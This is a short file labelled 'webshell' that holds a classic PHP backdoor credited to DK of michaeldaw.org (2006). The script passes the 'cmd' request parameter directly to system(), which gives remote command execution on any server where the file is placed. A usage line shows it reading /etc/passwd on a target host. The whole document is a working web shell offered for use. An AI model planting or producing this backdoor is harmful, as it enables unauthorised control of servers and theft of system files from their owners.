webshell

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!--
http://michaeldaw.org
2006
-->